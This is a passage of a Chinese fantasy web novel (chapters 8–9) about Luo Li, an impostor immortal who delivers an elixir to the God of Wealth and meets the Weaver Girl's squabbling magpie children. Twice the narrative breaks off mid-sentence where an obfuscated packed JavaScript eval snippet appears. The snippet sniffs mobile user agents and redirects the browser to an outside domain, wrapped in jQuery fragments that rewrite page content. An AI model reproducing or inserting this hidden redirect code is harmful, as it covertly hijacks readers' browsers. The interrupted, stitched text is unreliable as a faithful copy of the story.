洛黎心中了然,咧着嘴笑道:“呵呵呵,确实是这么一回事。”他扭头看向双唇紧紧抿成一条线,面色铁青的同尘道,“我都说了,我只是暂代,你瞧你,何必多余走这一趟不是。”说着,左看看太白,右看看司命,呵呵一笑。 他僵着嘴角,眼眸苦丧,暗叹:这都什么世道。 “既然是暂借,为何占用和光君的仙号?”同尘君声音冷冽,打量洛黎的目光带着厌弃。 “什么意思?” 司命白了洛黎一眼,他立马闭嘴垂下头。眼下气氛有些凝固,司命小步侧挪着挨近太白,不露声色地撞了撞太白的肩,左顾右盼,装作若无其事。 事已至此,太白无奈道:“同尘君,想来老朽的启明殿,老朽还是能做得了这个主的。” “星君言重。”同尘君跪地的脊背犹如折不断的剑,他颈间青筋暴起,正无声地宣告,他在忍耐。 太白又叹:“和光也不是不回,何必生这么大脾气。”他手指轻轻抬起,同尘君随之从地上缓缓站起,“此事莫要声张,对启明殿对天府宫都不好。” “是。” “我与司命会想办法让和光尽快归位,你也莫要因为此事与启明殿生出嫌隙。”太白看了眼洛黎,叹了口气,什么都没有说,转身进了天府宫。 “星君等我。”司命狠狠指了指洛黎,甩袖长叹,“你,好自为之。” 洛黎双目澄澈,摸不着头脑,怎么最后是自己成了问题的矛头。 “我这是,被人嫌弃了吗?” 8. 第 8 章 洛黎靠着双腿徒步回到启明殿,抬眼便看到,早已坐在庭中闭目小憩的同尘君,那架势好像是专门等着他回来单挑一般。他径直走的步子,拐了弯,抬袖掩面准备绕道。 “站住。” 洛黎放下袖子,面带礼貌地笑:“有什么吩咐?”见他瞥了自己一眼,忙小跑着上前,“你说,我听着。”他心中纳闷:太白老儿这招果然不好使。 “既然星君要将你留下,那我无话。”他的手指摩搓着一块玉牌,牌子上坠了一束水蓝流苏。 洛黎知道他还有话,站在一旁不敢动,只是瞧他看那玉牌看得仔细,看得伤感。 同尘君轻声叹了口气:“只是私下无人时,你做你自己便好。”他起身,洛黎下意识后退了半步,他看他眼中闪过一丝慌乱,“往后各司其职,你好自为之。” 一天内被两仙警告“好自为之”,洛黎望着他离去的背影,半眯起眼:“你好自为之,什么人,哦,不对!”他冲他扬了扬拳头,“什么仙呐!” 说来也怪,自那日之后,洛黎很长一段时间没有再遇见过同尘君,即使是他抱着扫帚在庭院磕着从瑶池收来的青莲子,整日摸鱼也不曾再遇到过。 “和光君,星君让你将这份仙丹送往赵财殿。”梳着双髻的小仙童,捧着丹盒,双手交予洛黎。 瑶池宴会结束之后,被借调的各宫府人手都已经遣回原地,洛黎本以为启明殿会就此热闹起来,哪知道,就送回了两位小仙童和一只青兕。 青兕形似凡间野牛,独角,角大身壮,浑身青黑,平日便是由这两位小仙童负责豢养。 洛黎抽了桌上一枝莲蓬递给小仙童问道:“星君有没有说得什么时候送到?” 小仙童摇摇头,看着莲蓬,小心翼翼地问:“和光君,你擅自摘了瑶池的莲蓬,不怕挨罚吗?” “不要冤枉我。”洛黎被吓得浑身一颤,他忙解释道,“昨天我替仙君去瑶池给负责锦鲤的仙娥送丹药,看她们正在处理这些不要的莲蓬,我才要了过来的。”他手伸三指对天道,“天地明鉴。” “不,不用。”小仙童接过青莲莲蓬,连连道谢,“星君只是让你尽快送到,并未提及具体的时间。” 洛黎闲着无事,好不容易有仙来与他说话,忙拽着小仙童要他坐下一同聊几句。他见小仙童左顾右盼,笑道:“星君能让你来传话,我猜他老人家还在炼丹房吧!” 小仙童连忙摆手:“万万不可在星君面前唤他老人家,他老人家最是忌讳这些。” 洛黎眉头一簇,心道你自己听听,你刚刚说的都是什么话。可面上和颜,他习惯性地推着空无一物的鼻梁,斜着嘴角低声道:“你们平日里守着的那头牛什么来历,怎么不见星君骑过?”他在凡间时高度近视,也不知怎的,脱了那身皮囊之后,耳聪目明,前提是不再被人拎着摔来摔去。 “那不是咱家星君的。”小仙童手中仔细剥着莲子,将那微微泛青的仁丢进嘴里,“是司命的。”他压低声音,靠近洛黎又道,“司命他老人家许多年前看老君宫后院那群牛养得极好,特意寻了只一模一样的,”他手虚掩着嘴,又将声音压低了几分,“可司命喜新,后又养了许多其他坐骑,青兕受了冷落自是不甘,一怒之下将其他坐骑统统揍了一遍,这不,就送咱星君这儿来了。”小仙童长叹,“白白给仙增加工作量不是!” 洛黎心中大喜,这用莲蓬换的消息,真是精彩。他想着,又从石桌上抓了把,塞到小仙童手里:“你刚刚喊司命他老人家,怎么,他……” 他话音未落,小仙童顾不上手中的莲蓬,忙张着手捂着他的嘴,环顾四周,拼命摇头道:“不可说,不可说。” “为什么?” 小仙童站直身子,后退了一步,一手负背,抬一手从头向下扫去,他不语只是循环做着这样的动作,洛黎抽着气,犹豫道:“看你?” 小仙童摇头手指着天府宫的方向,又将方才动作做了一遍。 “看云,再看你?”洛黎越看这动作越像是,“你看我这一身。” 小仙童眉毛微微扬起,眼带笑意,赞许似地连连点头,又指向天府宫的方向。 “你的意思是,那位比较注重外表?” 洛黎话才出口,小仙童握着他的手,上下摇着,又伸出食指放在唇边“嘘”了一声。他点点头,心中暗道:好家伙,这是玩了把“你画我猜”。又想,司命那小模样瞧着可比自己都还年轻几岁,没想到原来是不服老。 他冲小仙童点点头,弯下身,将落在地上的莲蓬捡起,放回小仙童怀中:“我懂,我都懂的!”他抿着嘴,手像是捏着拉链,从嘴巴的左边划到右边,又生怕他看不懂,“我嘴巴很严的。” 小仙童手中不得空,只能拼命点头,又惊道:“我得赶紧回去了。”他转身走了两步,扭过头来笑道,“外边都在传和光君你下凡历劫时摔了脑子,但我更喜欢现在的你一些。”说罢,一蹦一跳走远。 洛黎的笑意僵在脸上,这司命是非要让天庭上所有的仙都知道他摔了脑子不成!他愤怒起身,朝启明殿外走去,又折回来,去殿内后院鹤园寻了仙鹤乙,想想还是送丹要紧,毕竟他还得在这天庭苟着。 今日的云有些与众不同,暗色云带层层铺展,似浪似潮,顶缘泛灰微微卷起,底端漆黑如墨,穿不透一丝光。洛黎乘着鹤行于积乱云层上,耳畔常有雷鸣闪过。 “看来凡间免不了一场暴风雨。”他抬头,眯着双眼眺望远处的霞光,天庭一片祥和。 洛黎途遇雷公电母夫妇,见两人忙得焦头烂额,默默绕了道,不去打扰,远远听见电母抱怨,说那龙王又不知去哪儿鬼混,误了降雨的时辰。雷公好声好气劝着,让她莫要气坏了自己身子。后来距离远了,便也听不清了,耳边只留下了风声和仙鹤乙扑扇着翅膀的“啪啪”声。 穿过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694732|173400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层层云雾,还未见赵财神府邸宫门,先被他赵财殿的珠光宝气晃了眼。 洛黎下意识抬袖偏头,双眼只余一条缝。老鹤降落时,又是全靠身体缓冲,一人一鹤摔在他赵财殿门口。 “请问是启明殿的和光君吗?” 洛黎还没缓过神,两道声音一同传入脑海,他抬头去看,一模一样的两张脸。 “你好,我是招财。” “你好,我是进宝。” “我们特奉赵财神之命,在此等候。” 洛黎左看右看,感觉自己的眼睛跟不上他俩人自我介绍的嘴速,挪着屁股后退一丈,抬手阻止两人靠近:“你俩不能一个一个说吗?” “不能呢,亲。”两人对视一眼,又异口同声道,“若是我比他少说一句,那我今日的日利便会比他少上一些。”两人说完,冲着洛黎眨着他俩那杏大的眼睛,无辜中透着一丝精明。 “好吧!”洛黎站起身,拍了拍衣上的褶,“所以我应该把仙丹给谁?” “麻烦和光君再往里走一走,亲自交到赵财神手中。”两人从洛黎面前退去,自动站到两侧,鞠着身子,一手扬向赵财殿内。 洛黎也是开了眼界,他知道自己来的是赵财殿,若是自己不知道的情况下过来,还以为这儿是送子殿。殿内一眼望去左右完全对称,连同摆设都是一式两份,摆的位置几乎分毫不差。 招财进宝引着洛黎走到正殿门口,自觉立在门两侧不再往前一步,门“吱呀”推开,正殿内倒是与他方才所见全然不同。 虽视线昏暗,但能够很明显看出,这里边的东西并不是成双成对的。他进门便看到正中背对着他站着一人,他想这位大概就是赵财神。 “财神,这是太白星君让我给您送来的仙丹。”洛黎从袖中摸出装着仙丹的方盒双手递上。 “终于,我终于要摆脱这样的日子了!”赵财神声音微颤,听着好似还带了些鼻音。 洛黎的视线掠过方盒,看向一脸即将解放的赵财神,不安道:“财神,凡事想开些。” “怎么能想得开!”赵财神怒瞪着洛黎,“若是让你天天被招财进宝跟着,你能受得了?” 洛黎倒抽了口凉气,仔细思考了下,他觉得财神方才说的话若是诅咒,似是有些过分狠毒。毕竟,只是方才短短盏茶功夫的体验,招财进宝的双声道对他而言,不仅是耳朵上的磨难,更是对精神上的一种考验。 他将手搭在赵财神肩上,摇着头叹着气:“这些年,苦了你了。” 赵财神广袖一挥,正殿内明亮几分,他双眼噙着泪,反手搭在他的肩膀:“你懂我,那你们启明殿还缺仙童使唤吗?” 洛黎收了手,抬手挠着唇边,干笑两声:“既然仙丹我已经送到了,那我便不再打扰。”他敛了笑意,双手抱拳朝前一拱,正色道,“求涨工资求暴富,有劳了。”说罢,他拂袖离去,不敢再逗留片刻。 9.第 9 章 洛黎双腿盘坐在仙鹤乙背上,不知道是不是它这几日又掉了些毛,坐着总觉得有些扎。 一人一鹤迎着远处微微泛起的霞光,在云间穿梭,道道流光好似被打翻在河的调色盘,橘红绛紫层层晕染,透着渐变的暖意,拖着尾蔓延而去。偶有鸟雀穿破云层,盲目地扑闪着翅膀,又带着一缕云絮匆匆离去,好一片祥和。 “你怎么又推错了?” “分明是你错了,又怪我?” 一阵不和谐的吵闹声打破了这片带着暖意的祥和。 “嘿嘿,有戏看。”洛黎嘴角微扬,骑着老鹤,拐了方向,寻吵闹声飞了过去。 远远便瞧见不知是从何处来的两个小仙童,守着一朵好看的云彩,一人拽着一边,面色通红,像是卯足了劲。 洛黎眼眸中闪过一丝吃瓜的快乐,拍着老鹤的背,寻了朵体积较大的云,藏在后边,低声道:“不许出声坏我好事。” 小仙童身着与启明殿的青色道袍不同,他们一身黑白束袖短袄,头上簪了一圈翎毛,瞧着毛绒绒又有点不好惹的样子,身上衣物绣纹精致,腰间缠着个一模一样的荷包,上边许是绣了名字,但针脚蹩脚,也看不出来是个什么。 老鹤像是突然犯了病,长颈左摇右摆,直直撞着他掩藏的云朵而去,又带着云絮跌出。 两人闻声,手上松了云朵,朝他们看来,脸上一喜,提着裙摆,冲他们跑来。 “诶,是仙君。” “仙君你快来给我评评理。” 洛黎被摔得分不清东南西北,这魂还在外游荡,一左一右两只胳膊已经被小仙童一仙一只独占,两仙反着方向拉扯,他一时分不清是头更疼还是胳膊更疼。 “裂了裂了,要裂了。”洛黎用力将两人甩开,双臂像是脱了臼一般垂落在身体两侧,“我就是个路过的。” “仙君……”俩小仙童许是知道自己长得分外可爱,声音软乎乎,还带着撒娇。 今日天气甚好,空气中的温度湿度都适中,眼下这四周除了他与这俩小仙童,并无其他人,可洛黎还是觉得后背凉飕飕的。 “打住。”洛黎生怕他俩又要凑上前来瓜分他的胳膊,忙拎着摔晕的仙鹤后退几步,离他们远一些。他从这两张一模一样的脸上,看到了一样的委屈,清了清嗓子,缓缓道,“不如你们将事情的前因后果说与我听听,我再给你分析分析,到底是谁的过错。” 话音刚落,两人瘪着的嘴像开了阀的水,一发不可收拾,洛黎又后退两步,保持了些安全距离,出声制止:“你俩慢慢说。” “哼!”他俩一人叉腰一人抱胸,对望无言,神色严肃,谁都不愿意认错,“是这样子的……” 洛黎越听眉间的“川”字越是明显,他除了开口五个字,后边什么也没听清,他也不太清楚,怎么俩娃娃一开口,好似耳边一群鸟雀在叽叽喳喳吵个不停,脑仁疼。 他皱着眉抬手打断两仙,指着头顶翎羽上有一点红的小仙童道:“你先说,”他想了想,又加了句,“一个一个说,一字一句的说。” 他瞧这俩团子脸分外好捏,只是一双眸子,瞳仁大得有些过分,几乎看不见眼白,也不知道是谁家走丢的小仙童。 “凡间雨过,今日的晚霞图与往日定然不同,我俩特意来此推云织图,”一点红小仙童从怀中摸出一方绣帕,摊开来递给洛黎,指着上边一朵云彩道,“你看,这朵云分明应该这么推,可是你看他,偏了不说还斜了。” “你,你胡说,”头顶翎羽泛青的小仙童不服气了,抢了一点红手上的绣帕,转了个方向,“你瞧,分明我才是对的。” 洛黎听的头大,他看不出这绣帕上的晚霞和眼前的云有什么不一样,可他感觉自己如果再不说些什么,这俩小仙童又要打起来。他扫了眼四周云层间落了不少鸟雀的羽毛,老鹤不知何时醒来,竟将它们一根根捡起塞进自己的羽衣中,见洛黎冲它看来,恶狠狠地瞪了他一眼,背过身去,继续捡。 “你这老鹤……” “仙君说什么?”一点红拽着洛黎的衣摆,冲他眨巴着葡萄般的水灵大眼。 他缓缓道:“我觉得,你们都没有错。” 话才出口,俩仙童神色突变,不再围着他身边,边吵边回到那朵有争议的云彩旁站着,两人面对面,怒目而视。 “我说错什么了吗?可我什么都还没说呢!”洛黎挠着头看向老鹤,但老鹤忙着捡地上的羽毛,此时顾不上他。 他偌大一只站在旁边有点尴尬,眼下走,老鹤在忙着捡毛;不走,也不知道这俩小仙童眼对眼到什么时候。 他有点愁。 正不知道该怎么办,远处好似有什么东西横冲直撞过来,看架势与老鹤有的一拼,洛黎吓得侧过身,给让出一条道,一人径直扑进他身后的云朵里,啃了一嘴的云。 “天地浩荡,是谁竟敢在天庭偷小孩!!”那人一头扎进云里,人还没拔出来,声音先传了出来,“就不怕被抓,挨了雷刑吗? 洛黎朝旁挪了几步,双手高举,以示清白。 来人将脑袋从云里拔出来,嘴唇一张一闭,说话时吞云吐雾:“是何仙,胆敢放肆!”她扶着脑袋,走得有些晃。 “仙姑误会了,我只是路过。”洛黎看她那提防的眼神,就知道她肯定是误会了,但还能理解。 仙姑周身金光一闪而过,一扫先前的狼狈。 洛黎定眼再瞧,这是位年轻的姑娘,发上许多细辫缠着七彩的绣线,身上云裳颇为精致,细看,云裳上的晚霞绣案竟能与此时远处的霞光融在一起。 洛黎颔首,轻道一声“仙姑”,再抬头,仙姑已站到俩小仙童中间,以身切断了他俩对视的视线。一只小喜鹊扑着翅膀,停在她的绣花蝶纹云肩上。 “小喜小鹊,你们不要再闹了。”说这话时,她微微侧头余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704243|173400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光偷瞄了眼站在身后不远处的洛黎,见他还在看,她赶忙匆匆转回去,埋怨道,“让别家仙君白白看了我们织女宫的笑话。”说着,脚下一跺,连带着云肩下坠着的七彩绣线也跟着晃了晃。 她穿戴得极好,身上所着之物,瞧着比何仙姑的还要华丽几分,刚刚又听她提及织女宫。洛黎当下心中明了,这位大抵就是织女。 他再去看那两位小仙童,怪不得头上毛绒绒的,原来是两只化了形的小喜鹊。他心道:怪不得方才他俩一说话,他便觉得脑袋嗡嗡的,好似窗外鸟雀叽叽喳喳。 “仙君见笑了。”织女见洛黎还站在原地,脸颊泛红,小步上前,欠身道,“仙君若还有要事,先去忙吧!” 洛黎一听,知道这是在赶人,点头笑道:“是了,谢仙姑提醒。”说着去看怀里抱着一堆翎羽的老鹤,他心中暗叹:得,看来又是坐11路公交的命。 “你又要说什么?你定是又要帮着小喜数落我的不是。”小鹊声音委屈,眼眶红红,可脖子却扬得高高的,也不去看织女。 小喜声音也是委屈,低垂着头,豆大的眼泪啪嗒啪嗒就往下掉:“你素来偏心小鹊,当着我的面轻责两句,背着我又给小鹊送好吃的好玩的。” 洛黎这才走出去没多久的步子,又立马退了回来,织女见他是走两步退三步,忙牵起两仙童就要离开。 “今日的是非对错,你定要给我个交代,莫要再学太白星君那般,左右端水。”小鹊甩开她的手,朝后挪了几步,小脸上堆满了倔强。 织女连带着耳根都开始泛红,她蹲下身,低声与他们好说歹说,愣是没说明白一个。 洛黎摇着头,上前拍着她的肩,长叹道:“要不让我试试?” 织女眼中满是怀疑:“你瞧着甚是眼生。”边说边搂紧了俩仙童,“敢问是哪家仙府上的小仙君?” “启明殿太白星君座下和光君。”洛黎正色道。 织女眉间轻蹙,歪着头打量起他:“和光君不是不久前自请下凡了吗,怎么就回来了?” 洛黎点点头,熟练地将早已在心中背的滚瓜烂熟的一套说辞说与她听:“是,星君殿中事务繁重,他老人家又有些舍不得我,所以就早早勾我回来了。” “你就是那个摔坏了脑子的和光君?”原本低垂着头不说话的小喜,突然抬头看他,好奇地问,“小鹊你快看。” 织女这下连带着耳根都红透了,她赶忙捂着小喜的嘴,冲洛黎不好意思地笑道:“对不起和光君,孩子还小。” “这俩怕不是喜鹊,是八哥吧,嘴这么碎!” “你胡说什么呢?”织女半是莫名半是怒意,红着脖子指着俩小仙童道,“这是我与牛郎的两个孩子。” 洛黎没想到自己竟然将心声脱口而出,忙连连赔笑道歉,眼神却不住往俩小仙童身上瞟去,又看看织女。 这谁能想到,竟然是织女亲生的。